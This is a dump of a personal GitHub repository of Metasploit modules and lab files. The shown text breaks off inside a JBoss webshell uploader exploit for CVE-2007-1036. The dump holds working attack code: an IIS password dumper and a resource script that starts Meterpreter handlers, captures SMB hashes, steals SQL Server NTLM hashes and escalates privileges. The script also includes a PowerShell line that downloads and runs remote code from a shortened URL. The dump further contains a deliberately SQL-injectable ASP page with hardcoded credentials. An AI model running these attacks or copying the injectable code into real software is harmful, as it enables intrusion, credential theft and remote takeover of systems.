├── README.md ├── SQL-Server-Exploitation-Escalation-and-Pilfering-AppSecUSA2012.pdf ├── Technical Article - Hacking SQL Server Database Links - Setup and Attack Guide - Draft.pdf ├── applicationhost.rb ├── dbescalate.rc ├── def_netapi32.rb ├── employee.asp ├── enum_domain_user_sessions.rb ├── finddatabykeyword.sql ├── http-default-creds-ice ├── msf-jboss-webshell-uploader-mod.rb ├── mssql_enum_domain_accounts_sqli_lab.txt ├── mssql_enum_sql_logins.rb ├── mssql_enum_sql_logins_lab.txt ├── mssql_enum_windows_domain_accounts.rb ├── mssql_enum_windows_domain_accounts_lab.txt ├── mssql_enum_windows_domain_accounts_sqli.rb ├── mssql_escalate_dbowner.rb ├── mssql_escalate_dbowner_lab_guide.txt ├── mssql_escalate_dbowner_sqli.rb ├── mssql_escalate_dbowner_sqli_lab_guide.txt ├── mssql_escalate_executeas.rb ├── mssql_escalate_executeas_lab_setup.txt ├── mssql_escalate_executeas_sqli.rb ├── mssql_escalate_executeas_sqli_lab_setup.txt ├── mssql_findandsampledata.rb ├── mssql_findandsampledata_old.rb ├── mssql_linkcrawler-updates.rb ├── mssql_linkcrawler-updates2.rb ├── mssql_linkcrawler.rb ├── mssql_linkcrawler_readme.txt ├── mssql_linkcrawler_sqli.rb ├── mssql_local_auth_bypass.rb ├── mssql_ntlm_stealer.rb ├── powershell_payload_gen.rb ├── ps_webshells.rb ├── readme.txt ├── search.asp ├── sp_findsharedaccounts.sql ├── sql.rc ├── testing.asp ├── testing2.asp └── vlan-hop-dhcp.sh /README.md: -------------------------------------------------------------------------------- 1 | # Metasploit-Modules 2 | This is just a dumping ground for metasploit modules that I've worked on or am working on. Some have been submitted to Rapid7 and some have not. 3 | -------------------------------------------------------------------------------- /SQL-Server-Exploitation-Escalation-and-Pilfering-AppSecUSA2012.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nullbind/Metasploit-Modules/58a7bc91e0e5c642bfc5022c03428d660e5f8180/SQL-Server-Exploitation-Escalation-and-Pilfering-AppSecUSA2012.pdf -------------------------------------------------------------------------------- /Technical Article - Hacking SQL Server Database Links - Setup and Attack Guide - Draft.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nullbind/Metasploit-Modules/58a7bc91e0e5c642bfc5022c03428d660e5f8180/Technical Article - Hacking SQL Server Database Links - Setup and Attack Guide - Draft.pdf -------------------------------------------------------------------------------- /applicationhost.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | 9 | 10 | class Metasploit3 < Msf::Post 11 | 12 | def initialize(info={}) 13 | super( update_info( info, 14 | 'Name' => 'IIS applicationHost.config Password Dumper', 15 | 'Description' => %q{ This script will decrypt and recover application pool and virtual directory passwords 16 | from the IIS applicationHost.config file on the system.}, 17 | 'License' => MSF_LICENSE, 18 | 'Author' => [ 'Scott Sutherland '], 19 | 'Author' => [ 'Antti Rantasaari '], 20 | 'Platform' => [ 'win' ], 21 | 'SessionTypes' => [ 'meterpreter' ] 22 | )) 23 | end 24 | 25 | def run 26 | # Create data table 27 | 28 | # Check if appcmd.exe exists 29 | print_status("Checking for appcmd.exe...") 30 | appcmd_status = client.fs.file.exists?("c:\\windows\\system32\\inetsrv\\appcmd.exe") 31 | if appcmd_status == false 32 | print_error("appcmd.exe was NOT found in its default location.") 33 | return 34 | else 35 | print_good("appcmd.exe was found in its default location.") 36 | end 37 | 38 | # Get list of application pools 39 | print_status("Checking for application pools...") 40 | cmd_get_pools = "c:\\windows\\system32\\inetsrv\\appcmd.exe list apppools /text:name" 41 | result_get_pools = run_cmd("#{cmd_get_pools}") 42 | parse_get_pools = result_get_pools.split("\n") 43 | if parse_get_pools.nil? 44 | print_error("No application pools found.") 45 | else 46 | print_good("Found #{parse_get_pools.length} application pools") 47 | 48 | # Get username and password for each pool 49 | parse_get_pools.each do | pool | 50 | pool.strip! 51 | cmd_get_user = "c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool \"#{pool}\" /text:processmodel.username" 52 | result_get_user = run_cmd("#{cmd_get_user}") 53 | cmd_get_password = "c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool \"#{pool}\" /text:processmodel.password" 54 | result_get_password = run_cmd("#{cmd_get_password}") 55 | 56 | #check if password was recovered 57 | print_status(" - #{pool}: user=#{result_get_user}password=#{result_get_password}") 58 | end 59 | end 60 | 61 | # Get list of virtual directories 62 | print_status("Checking for virtual directories...") 63 | cmd_get_vdirs = "c:\\windows\\system32\\inetsrv\\appcmd.exe list vdir /text:vdir.name" 64 | result_get_vdirs = run_cmd("#{cmd_get_vdirs}") 65 | parse_get_vdirs = result_get_vdirs.split("\n") 66 | if parse_get_vdirs.nil? 67 | print_error("No application virtual directories found.") 68 | else 69 | print_good("Found #{parse_get_pools.length} virtual directories") 70 | 71 | # Get username and password for each virtual directory 72 | parse_get_vdirs.each do | vdir | 73 | vdir.strip! 74 | #cmd_get_user = "c:\\windows\\system32\\inetsrv\\appcmd.exe list vdir #{vdir} /text:userName" 75 | #cmd_get_password = "c:\\windows\\system32\\inetsrv\\appcmd.exe list vdir #{vdir} /text:password" 76 | print_status(" - #{vdir}") 77 | 78 | #check if password was recovered 79 | end 80 | end 81 | 82 | # Check if any passwords were found 83 | 84 | # Display passwords 85 | 86 | # Store password in loot 87 | 88 | end 89 | 90 | # Methods 91 | def run_cmd(cmd,token=true) 92 | opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} 93 | process = session.sys.process.execute(cmd, nil, opts) 94 | res = "" 95 | while (d = process.channel.read) 96 | break if d == "" 97 | res << d 98 | end 99 | process.channel.close 100 | process.close 101 | return res 102 | end 103 | 104 | 105 | 106 | end 107 | -------------------------------------------------------------------------------- /dbescalate.rc: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # SQL Server - Domain User Privilege Escalation # 3 | ################################################# 4 | # Super rough draft outline 5 | # References: 6 | # http://www.offensive-security.com/metasploit-unleashed/Using_the_Database 7 | # https://www.trustedsec.com/august-2014/metasploit-scripting/ 8 | # https://github.com/rapid7/metasploit-framework/blob/master/scripts/resource/auto_cred_checker.rc 9 | 10 | # todo 11 | # add check to determine which payload method should be used based on fileexist function 12 | # use alternative obfuscated payload if using exe 13 | # set payloads to load in background 14 | # set auto run for mimikatz and hashes, autosysteminfo, autorunscript 15 | # at end check creds for da 16 | # add auto generate a del for auto run script 17 | # setup variables for global settings 18 | 19 | # Windows resource 20 | # resource z:\\Pentest\\dbtest.rc 21 | 22 | # Linux resource 23 | # resouce /pentest/dbtest.rc 24 | 25 | # clear databases 26 | hosts -d 27 | creds -d 28 | services -d 29 | 30 | # Start logging - linux - logging 31 | # spool /tmp/sql_server_escalation_log-test.txt 32 | 33 | # Start logging - windows - logging 34 | spool c:\\temp\\sql-esc-log1.txt #windows 35 | 36 | 37 | #--------------------------------- 38 | # start handler 39 | #--------------------------------- 40 | use multi/handler 41 | setg payload windows/meterpreter/tcp 42 | set exitonsession false 43 | setg lport 2387 44 | setg lhost 0.0.0.0 45 | exploit -j -z 46 | 47 | 48 | #--------------------------------- 49 | # start smb listener (can use repsonder as alternative) 50 | #--------------------------------- 51 | use auxiliary/server/capture/smb 52 | set cainpwfile /tmp/cain_smb_pw 53 | set johnpwfile /tmp/john_smb_pw 54 | xploit 55 | 56 | 57 | #--------------------------------- 58 | # List SQL Servers via SPN dump 59 | #--------------------------------- 60 | # write auxiliary to hit ldap for domain with provided creds 61 | # in the mean time use the powershell script 62 | # Get-SqlServer-Escalate-CheckAccess -DomainController 10.2.9.100 -ListOnly -Credential demo\administrator | 63 | # select server | 64 | # Export-Csv c:\temp\sql-spn.txt -NoTypeInformation 65 | 66 | 67 | #--------------------------------- 68 | # Determine live SQL Servers via mssql_ping - SPN 69 | #--------------------------------- 70 | use auxiliary/scanner/mssql/mssql_ping 71 | set rhosts file:z:\\pentest\\sql-spn.txt 72 | #set rhosts file:///pentest/sql-spn.txt 73 | set threads 255 74 | exploit 75 | 76 | 77 | #--------------------------------- 78 | # Determine live SQL Servers via mssql_ping - network 79 | # Use case 1: unauthenticated enumeration of servers 80 | # Use case 2: finding servers that are not on the domain 81 | # This doesn't seem to cause duplicate entries in the services database 82 | #--------------------------------- 83 | use auxiliary/scanner/mssql/mssql_ping 84 | set rhosts 10.2.9.0/24 85 | set threads 255 86 | exploit 87 | 88 | 89 | #--------------------------------- 90 | # Test access to SQL Servers via MSSQL_Login 91 | #--------------------------------- 92 | use auxiliary/scanner/mssql/mssql_login 93 | set USERNAME [username] 94 | set PASSWORD [Password] 95 | set USE_WINDOWS_AUTHENT true 96 | set VERBOSE false 97 | set THREADS 255 98 | 99 | 100 | framework.db.hosts.each do |host| 101 | host.services.each do |service| 102 | if service.name == "mssql" and service.state == "open" 103 | self.run_single("set RHOSTS #{host.address}") 104 | self.run_single("set RPORT #{service.port}") 105 | self.run_single("run") 106 | end 107 | end 108 | end 109 | 110 | 111 | #--------------------------------- 112 | # Define custom query with mssql_sql - grab server info 113 | # add service account 114 | # stuff can be parsed and manually added 115 | # to the comments field in the services db 116 | # uses methods found in the mssql_ping.rb 117 | #--------------------------------- 118 | use auxiliary/admin/mssql/mssql_sql 119 | set USERNAME [Username] 120 | set PASSWORD [Password] 121 | #domain 122 | # select 'server: ' + @@servername + ',sysadmin: ' + cast(IS_SRVROLEMEMBER('sysadmin') as varchar(10)) + ',links: ' + (select cast((select count(srvname) from master..sysservers) as varchar(10))) + ',clustered: ' + (select cast(SERVERPROPERTY('IsClustered') as varchar(10))) 123 | set sql select \'server: \' + @@servername + \',sysadmin: \' + cast(IS_SRVROLEMEMBER(\'sysadmin\') as varchar(10)) + \',links: \' + (select cast((select count(srvname) from master..sysservers) as varchar(10))) + \',clustered: \' + (select cast(SERVERPROPERTY(\'IsClustered\') as varchar(10))) as OUTPUT 124 | set USE_WINDOWS_AUTHENT true 125 | set VERBOSE false 126 | set THREADS 255 127 | 128 | 129 | framework.db.hosts.each do |host| 130 | host.services.each do |service| 131 | if service.name == "mssql" and service.state == "open" 132 | framework.db.creds.each do |creds| 133 | if service.id == creds.service_id 134 | self.run_single("set RHOST #{host.address}") 135 | self.run_single("set RPORT #{service.port}") 136 | self.run_single("run") 137 | end 138 | 139 | end 140 | end 141 | end 142 | end 143 | 144 | 145 | 146 | #--------------------------------- 147 | # Capture NTLM hashes for service accounts via mssql_ntlm_stealer 148 | #--------------------------------- 149 | use auxiliary/admin/mssql/mssql_ntlm_stealer 150 | set USERNAME [Username] 151 | set PASSWORD [Password] 152 | #domain 153 | set USE_WINDOWS_AUTHENT true 154 | set VERBOSE false 155 | set THREADS 255 156 | 157 | 158 | framework.db.hosts.each do |host| 159 | host.services.each do |service| 160 | if service.name == "mssql" and service.state == "open" 161 | framework.db.creds.each do |creds| 162 | if service.id == creds.service_id 163 | self.run_single("set RHOSTS #{host.address}") 164 | self.run_single("set RPORT #{service.port}") 165 | self.run_single("run") 166 | end 167 | 168 | end 169 | end 170 | end 171 | end 172 | 173 | 174 | 175 | #--------------------------------- 176 | # Test escalation with db owner configuration 177 | #--------------------------------- 178 | use auxiliary/admin/mssql/mssql_escalate_dbowner 179 | set USERNAME [Username] 180 | set PASSWORD [Password] 181 | #domain 182 | set USE_WINDOWS_AUTHENT true 183 | set VERBOSE false 184 | set THREADS 255 185 | 186 | 187 | framework.db.hosts.each do |host| 188 | host.services.each do |service| 189 | if service.name == "mssql" and service.state == "open" 190 | framework.db.creds.each do |creds| 191 | if service.id == creds.service_id 192 | self.run_single("set RHOST #{host.address}") 193 | self.run_single("set RPORT #{service.port}") 194 | self.run_single("run") 195 | end 196 | 197 | end 198 | end 199 | end 200 | end 201 | 202 | 203 | 204 | #--------------------------------- 205 | # Test escalation via excessive IMPERSIONATE privs 206 | #--------------------------------- 207 | use auxiliary/admin/mssql/mssql_escalate_executeas 208 | set USERNAME [Username] 209 | set PASSWORD [Password] 210 | #domain 211 | set USE_WINDOWS_AUTHENT true 212 | set VERBOSE false 213 | set THREADS 255 214 | 215 | 216 | framework.db.hosts.each do |host| 217 | host.services.each do |service| 218 | if service.name == "mssql" and service.state == "open" 219 | framework.db.creds.each do |creds| 220 | if service.id == creds.service_id 221 | self.run_single("set RHOST #{host.address}") 222 | self.run_single("set RPORT #{service.port}") 223 | self.run_single("run") 224 | end 225 | 226 | end 227 | end 228 | end 229 | end 230 | 231 | 232 | 233 | #--------------------------------- 234 | # Test escalation through database links 235 | #--------------------------------- 236 | # add mssql_linkcrawler 237 | 238 | #--------------------------------- 239 | # Test for sysadmin access with MSSQL_payload - traditional shell 240 | # may want to do use auxiliary/admin/mssql/mssql_exec instead to avoid 241 | # av on systems that dont have ps 242 | #--------------------------------- 243 | use exploit/windows/mssql/mssql_payload 244 | set PrependMigrate true 245 | # set payload windows/meterpreter/reverse_tcp 246 | set payload windows/meterpreter/bind_tcp 247 | #set autorunscript z:\\pentest\\msf-autorun.txt 248 | set AutoRunScript C:/metasploit/apps/pro/msf3/scripts/meterpreter/test.rb 249 | #set AutoRunScript yourScript ( yourScript.rb is a ruby script in the /opt/metasploit/msf3/scripts/meterpreter dir and does getsystem, migrate,etcat victim end) 250 | #create autorunscript 251 | #sysinfo 252 | #getuid 253 | #getsystem 254 | #getuid 255 | #load mimikatz 256 | #create 64 bit process and migrate in 257 | #wdigest 258 | set lport 12345 259 | set USERNAME [Username] 260 | set PASSWORD [Password] 261 | #domain 262 | set USE_WINDOWS_AUTHENT true 263 | set VERBOSE false 264 | set THREADS 255 265 | 266 | 267 | framework.db.hosts.each do |host| 268 | host.services.each do |service| 269 | if service.name == "mssql" and service.state == "open" 270 | framework.db.creds.each do |creds| 271 | if service.id == creds.service_id 272 | self.run_single("set RHOST #{host.address}") 273 | self.run_single("set RPORT #{service.port}") 274 | self.run_single("run") 275 | end 276 | 277 | end 278 | end 279 | end 280 | end 281 | 282 | 283 | 284 | #--------------------------------- 285 | # Define custom query with mssql_sql - shell through powershell reflection 286 | # * use if powershell exist, testing with fileexist - add check to determine which to use 287 | #--------------------------------- 288 | # use ps_webshell to generate payload in poewrshell format 289 | # place on web server 290 | # enable xp cmdshell,then execute command below via xp_cmdshell 291 | # powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')" 292 | 293 | 294 | #--------------------------------- 295 | # Get list of domain admins 296 | #--------------------------------- 297 | # write auxiliary to hit ldap for domain with provided creds 298 | 299 | 300 | #--------------------------------- 301 | # Check list of creds for domain admins 302 | #--------------------------------- 303 | 304 | # if no data check for new creds, if new creds get list of active sessions from dc/files servers, attempt psexec mimikatz / hash 305 | # then check again 306 | 307 | # print domain admins and passwords / hashes 308 | 309 | # export the live sql server instances 310 | # services -s mssql -u -o /root/msfu/http.csv 311 | 312 | # export the creds 313 | # creds -o c:\\temp\\msf-creds.txt 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | -------------------------------------------------------------------------------- /def_netapi32.rb: -------------------------------------------------------------------------------- 1 | module Rex 2 | module Post 3 | module Meterpreter 4 | module Extensions 5 | module Stdapi 6 | module Railgun 7 | module Def 8 | 9 | class Def_netapi32 10 | 11 | def self.create_dll(dll_path = 'netapi32') 12 | dll = DLL.new(dll_path, ApiConstants.manager) 13 | 14 | dll.add_function('NetUserDel', 'DWORD',[ 15 | ["PWCHAR","servername","in"], 16 | ["PWCHAR","username","in"], 17 | ]) 18 | 19 | dll.add_function('NetGetJoinInformation', 'DWORD',[ 20 | ["PBLOB","lpServer","in"], 21 | ["PDWORD","lpNameBugger","out"], 22 | ["PDWORD","BufferType","out"] 23 | ]) 24 | dll.add_function('NetServerEnum', 'DWORD',[ 25 | ["PWCHAR","servername","in"], 26 | ["DWORD","level","in"], 27 | ["PDWORD","bufptr","out"], 28 | ["DWORD","prefmaxlen","in"], 29 | ["PDWORD","entriesread","out"], 30 | ["PDWORD","totalentries","out"], 31 | ["DWORD","servertype","in"], 32 | ["PWCHAR","domain","in"], 33 | ["DWORD","resume_handle","inout"] 34 | ]) 35 | 36 | dll.add_function('NetSessionEnum', 'DWORD',[ 37 | ["PWCHAR","servername","in"], 38 | ["PWCHAR","UncClientName","in"], 39 | ["PWCHAR","username","in"], 40 | ["DWORD","level","in"], 41 | ["PDWORD","bufptr","out"], 42 | ["DWORD","prefmaxlen","in"], 43 | ["PDWORD","entriesread","out"], 44 | ["PDWORD","totalentries","out"], 45 | ["DWORD","resume_handle","inout"] 46 | ]) 47 | 48 | return dll 49 | end 50 | 51 | end 52 | 53 | end; end; end; end; end; end; end 54 | 55 | 56 | -------------------------------------------------------------------------------- /employee.asp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 15 | 16 |
7 | MBA
8 | My Bad Application 9 |
13 | Employee Search 14 |
17 | 18 |







19 | 21 | 67 | 68 |
22 |

Employee Information

23 | <% 24 | 25 | 'Sample Database Connection Syntax for ASP and SQL Server. 26 | 27 | Dim oConn, oRs 28 | Dim qry, connectstr 29 | Dim db_name, db_username, db_userpassword 30 | Dim db_server 31 | Dim myid 32 | 33 | ' update the db_server with your server and instance 34 | db_server = "mybox\server1" 35 | db_name = "AdventureWorks2008" 36 | db_username = "s1user" 37 | db_password = "s1password" 38 | 39 | 'setup database handler 40 | Set oConn = Server.CreateObject("ADODB.Connection") 41 | oConn.Open("Driver={SQL Server};Server=" & db_server & ";Database=" & db_name &";UID=" & db_username & ";PWD=" & db_password & ";Trusted_Connection=NO;") 42 | 43 | 'setup query 44 | qry = "SELECT * FROM HumanResources.Employee WHERE BusinessEntityID = " & Request("id") 45 | 46 | 'execute query 47 | Set oRS = oConn.Execute(qry) 48 | 49 | 'loop through and display records 50 | Do until oRs.EOF 51 | 52 | Response.Write "ID: " & oRs.Fields("BusinessEntityID") & "
" 53 | Response.Write "Title: " & oRs.Fields("JobTitle") & "
" 54 | Response.Write "User: " & oRs.Fields("LoginID") & "
" 55 | Response.Write "Birth Date: " & oRs.Fields("BirthDate") & "
" 56 | 57 | oRS.MoveNext 58 | Loop 59 | oRs.Close 60 | 61 | 62 | Set oRs = nothing 63 | Set oConn = nothing 64 | 65 | %> 66 |
69 | 70 | 71 | -------------------------------------------------------------------------------- /enum_domain_user_sessions.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This file is part of the Metasploit Framework and may be subject to 3 | # redistribution and commercial restrictions. Please see the Metasploit 4 | # web site for more information on licensing and terms of use. 5 | # http://metasploit.com/ 6 | ## 7 | 8 | require 'msf/core' 9 | require 'rex' 10 | 11 | class Metasploit3 < Msf::Post 12 | 13 | def initialize(info={}) 14 | super( update_info( info, 15 | 'Name' => 'Windows Gather Domain User Sessions', 16 | 'Description' => %q{ 17 | This module enumerates active domain user sessions. 18 | }, 19 | 'License' => MSF_LICENSE, 20 | 'Author' => [ 'Scott Sutherland '], 21 | 'Platform' => [ 'windows' ], 22 | 'SessionTypes' => [ 'meterpreter' ] 23 | )) 24 | 25 | register_options( 26 | [ 27 | OptString.new('DOMAIN', [false, 'Domain to target, default to computer\'s domain', '']), 28 | OptString.new('TYPE', [true, 'Search type: GROUPS or USERS', 'GROUPS']), 29 | OptString.new('GROUP', [false, 'Domain groups to search for.', 'Domain Admins, Forrest Admins, Enterprise Admins']), 30 | OptString.new('USER', [false, 'Domain users to search for.', '']), 31 | OptBool.new('LOOP', [false, 'Scan for sessions continuously', 'false']), 32 | ], self.class 33 | ) 34 | 35 | end 36 | 37 | def run 38 | 39 | #Create an array to hold the list of domains 40 | #Create an array to hold the domain controller IP addresses 41 | #Create an array to hold the session information login,domain,ip,idle time,session time 42 | #Create an array to hold the group information login,domain 43 | #Create an array to hold final list domain, group, user, ip 44 | 45 | #Get current domain or set it from the option 46 | #Check if domain == computername, if so fail 47 | 48 | #Get a list of all of the domains in the forrest 49 | # adfind -sc domainlist 50 | 51 | #Get a list of trust for the current domain 52 | # adfind -sc trustdmp 53 | 54 | #Get a list of the domain controllers for the current domain 55 | # adfind -sc dclist 56 | # add to the domain controllers array 57 | 58 | #Get a list of the domain controllers for the trusted domains 59 | # adfind -b dc=trusted,dc=otherdomain,dc=domainname,dc=com -sc 60 | # add to the domain controllers array 61 | 62 | #For each domain controller grab the active sessions add to array 63 | #note: most of this code is based on mubix's enum_domains module 64 | 65 | buffersize = 1000 66 | #getsize = client.railgun.netapi32.NetSessionEnum(nil,nil,nil,10,4,buffersize,4,4,nil) 67 | #buffersize = getsize['bufptr'] 68 | 69 | result = client.railgun.netapi32.NetSessionEnum(nil,nil,nil,10,4,buffersize,4,4,nil) 70 | 71 | count = result['totalentries'] 72 | print_status("#{count} Sessions found.") 73 | startmem = result['bufptr'] 74 | 75 | base = 0 76 | mysessions = [] 77 | mem = client.railgun.memread(startmem, 8*count) #note: this dies if count= 0; at handling; http://msdn.microsoft.com/en-us/library/windows/desktop/bb525382(v=vs.85).aspx 78 | count.times{|i| 79 | x = {} 80 | 81 | # Grab returned 82 | client_ptr = mem[(base + 0),4].unpack("V*")[0] 83 | username_ptr = mem[(base + 4),4].unpack("V*")[0] 84 | 85 | # Parse returned data 86 | x[:client] = client.railgun.memread(client_ptr,255).split("\0\0")[0].split("\0").join 87 | x[:username] = client.railgun.memread(username_ptr,255).split("\0\0")[0].split("\0").join 88 | 89 | #Print session - only getting 2nd column 90 | print_status("client, username, active time, idle time") 91 | print_status("#{x[:client]}, #{x[:username]}") 92 | 93 | mysessions << x 94 | base = base + 8 95 | } 96 | 97 | end 98 | end 99 | -------------------------------------------------------------------------------- /finddatabykeyword.sql: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nullbind/Metasploit-Modules/58a7bc91e0e5c642bfc5022c03428d660e5f8180/finddatabykeyword.sql -------------------------------------------------------------------------------- /http-default-creds-ice: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class Metasploit3 < Msf::Auxiliary 9 | 10 | include Msf::Auxiliary::Report 11 | include Msf::Exploit::Remote::HttpClient 12 | include Msf::Auxiliary::Scanner 13 | 14 | def initialize 15 | super( 16 | 'Name' => 'GE Security - Integrated Configuration Tool - Default Login', 17 | 'Description' => %q{ 18 | This module attempts to login to a GE Security - Integrated Configuration 19 | Tool web application using the default username and password. 20 | Tested on version 124.00.01. 21 | }, 22 | 'Author' => 'Scott Sutherland (@_nullbind)', 23 | 'License' => MSF_LICENSE 24 | ) 25 | 26 | register_options( 27 | [ 28 | Opt::RPORT(80), 29 | OptString.new('TARGETURI', 30 | [ true, "The base path.", '/cgi-bin/Dataframe.cgi' ]), 31 | ], self.class) 32 | end 33 | 34 | 35 | def run_host(ip) 36 | 37 | # Create HTTP request 38 | begin 39 | print_status("#{peer} - Testing default credentials - install/install") 40 | res = send_request_cgi({ 41 | 'method' => 'GET', 42 | 'uri' => datastore['TARGETURI'], 43 | 'vars_get' => { 44 | 'userName' => 'ohurgjj', 45 | 'passWord' => 'ohurgjj', 46 | 'referring_page' => '0', 47 | 'html_version' => '124.00.01' 48 | }#, 49 | #'vars_post' => { 50 | # 'name' => name, 51 | # 'code' => encoded_value 52 | #}, 53 | #'cookie' => { 54 | # 'operation' => 'COPY', 55 | #} 56 | }) 57 | 58 | 59 | # Check server response for success 60 | res.inspect 61 | if (res and res.code == 200 and res.body.match(/Logon accepted/)) 62 | print_good("#{peer} - Found default credentials - install/install") 63 | else 64 | print_error("#{peer} - No default credentials - install/install") 65 | end 66 | 67 | 68 | # Connection fail 69 | rescue Rex::ConnectionError 70 | print_error("#{peer} - Could not connect.") 71 | return 72 | end 73 | end 74 | end 75 | -------------------------------------------------------------------------------- /msf-jboss-webshell-uploader-mod.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | 9 | class Metasploit4 < Msf::Exploit::Remote 10 | Rank = ExcellentRanking 11 | 12 | HttpFingerprint = { :pattern => [ /JBoss/ ] } 13 | 14 | include Msf::Exploit::Remote::HttpClient 15 | include Msf::Exploit::EXE 16 | 17 | def initialize(info = {}) 18 | super(update_info(info, 19 | 'Name' => 'Scotts JBoss module Mods', 20 | 'Description' => %q{ 21 | This module will upload a standard web shell to the target JBoss servers that have an 22 | exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking 23 | the methods provided by jboss.admin:DeploymentFileRepository jsp webshell is deployed. 24 | The DeploymentFileRepository methods seem to work on Jboss 4.x and 5.x and above on 25 | Windows. This module has been modified from the original to only work on Windows. 26 | }, 27 | 'Author' => [ 28 | 'Patrick Hof', # Vulnerability discovery, analysis and PoC 29 | 'Jens Liebchen', # Vulnerability discovery, analysis and PoC 30 | 'h0ng10' # Metasploit module 31 | ], 32 | 'License' => MSF_LICENSE, 33 | 'References' => 34 | [ 35 | [ 'CVE', '2007-1036' ], 36 | [ 'OSVDB', '33744' ], 37 | [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], 38 | ], 39 | 'DisclosureDate' => 'Feb 20 2007', 40 | 'Privileged' => true, 41 | 'Platform' => %w{ java linux win }, 42 | 'Stance' => Msf::Exploit::Stance::Aggressive, 43 | 'Targets' => 44 | [ 45 | 46 | # do target detection but java meter by default 47 | [ 'Automatic', 48 | { 49 | 'Arch' => ARCH_JAVA, 50 | 'Platform' => 'java' 51 | } 52 | ], 53 | 54 | [ 'Java Universal', 55 | { 56 | 'Arch' => ARCH_JAVA, 57 | }, 58 | ], 59 | 60 | # 61 | # Platform specific targets 62 | # 63 | [ 'Windows Universal', 64 | { 65 | 'Arch' => ARCH_X86, 66 | 'Platform' => 'win' 67 | }, 68 | ], 69 | 70 | [ 'Linux x86', 71 | { 72 | 'Arch' => ARCH_X86, 73 | 'Platform' => 'linux' 74 | }, 75 | ], 76 | ], 77 | 78 | 'DefaultTarget' => 0)) 79 | 80 | register_options( 81 | [ 82 | Opt::RPORT(8080), 83 | OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), 84 | OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), 85 | OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]), 86 | ], self.class) 87 | 88 | end 89 | 90 | def check 91 | res = send_serialized_request('version.bin') 92 | if res.nil? 93 | vprint_error("Connection timed out") 94 | return Exploit::CheckCode::Unknown 95 | elsif res.code != 200 96 | vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") 97 | return Exploit::CheckCode::Unknown 98 | end 99 | 100 | # Check if the version is supported by this exploit 101 | return Exploit::CheckCode::Appears #if res.body =~ /CVSTag=Branch_4_/ # nullbind mod - suppress version check 102 | #return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/ # nullbind mod - suppress version check 103 | #return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ # nullbind mod - suppress version check 104 | 105 | if res.body =~ /ServletException/ # Simple check, if we caused an exception. 106 | vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") 107 | return Exploit::CheckCode::Appears 108 | end 109 | 110 | return Exploit::CheckCode::Safe 111 | end 112 | 113 | def exploit 114 | mytarget = target 115 | 116 | if (target.name =~ /Automatic/) 117 | mytarget = auto_target 118 | fail_with("Unable to automatically select a target") if not mytarget 119 | print_status("Automatically selected target: \"#{mytarget.name}\"") 120 | else 121 | print_status("Using manually select target: \"#{mytarget.name}\"") 122 | end 123 | 124 | 125 | # We use a already serialized stager to deploy the final payload 126 | regex_stager_app_base = rand_text_alpha(14) 127 | regex_stager_jsp_name = rand_text_alpha(14) 128 | name_parameter = rand_text_alpha(8) 129 | content_parameter = rand_text_alpha(8) 130 | stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" 131 | stager_code = "A" * 810 # 810 is the size of the stager in the serialized request 132 | 133 | replace_values = { 134 | 'regex_app_base' => regex_stager_app_base, 135 | 'regex_jsp_name' => regex_stager_jsp_name, 136 | stager_code => generate_stager(name_parameter, content_parameter) 137 | } 138 | 139 | print_status("Deploying stager") 140 | send_serialized_request('installstager.bin', replace_values) 141 | print_status("Calling stager: #{stager_uri}") 142 | call_uri_mtimes(stager_uri, 5, 'GET') 143 | 144 | # Generate the WAR with the payload which will be uploaded through the stager 145 | app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) 146 | jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) 147 | 148 | war_data = payload.encoded_war({ 149 | :app_name => app_base, 150 | :jsp_name => jsp_name, 151 | :arch => mytarget.arch, 152 | :platform => mytarget.platform 153 | }).to_s 154 | 155 | b64_war = Rex::Text.encode_base64(war_data) 156 | print_status("Uploading payload through stager") 157 | res = send_request_cgi({ 158 | 'uri' => stager_uri, 159 | 'method' => "POST", 160 | 'vars_post' => 161 | { 162 | name_parameter => app_base, 163 | content_parameter => b64_war 164 | } 165 | }, 20) 166 | 167 | payload_uri = "/#{app_base}/#{jsp_name}.jsp" 168 | print_status("Calling payload: " + payload_uri) 169 | res = call_uri_mtimes(payload_uri,5, 'GET') 170 | 171 | # Remove the payload through stager 172 | print_status("Removing payload through stager") 173 | delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" 174 | res = send_request_cgi( 175 | {'uri' => delete_payload_uri, 176 | }) 177 | 178 | # Remove the stager 179 | print_status("Removing stager") 180 | send_serialized_request('removestagerfile.bin', replace_values) 181 | 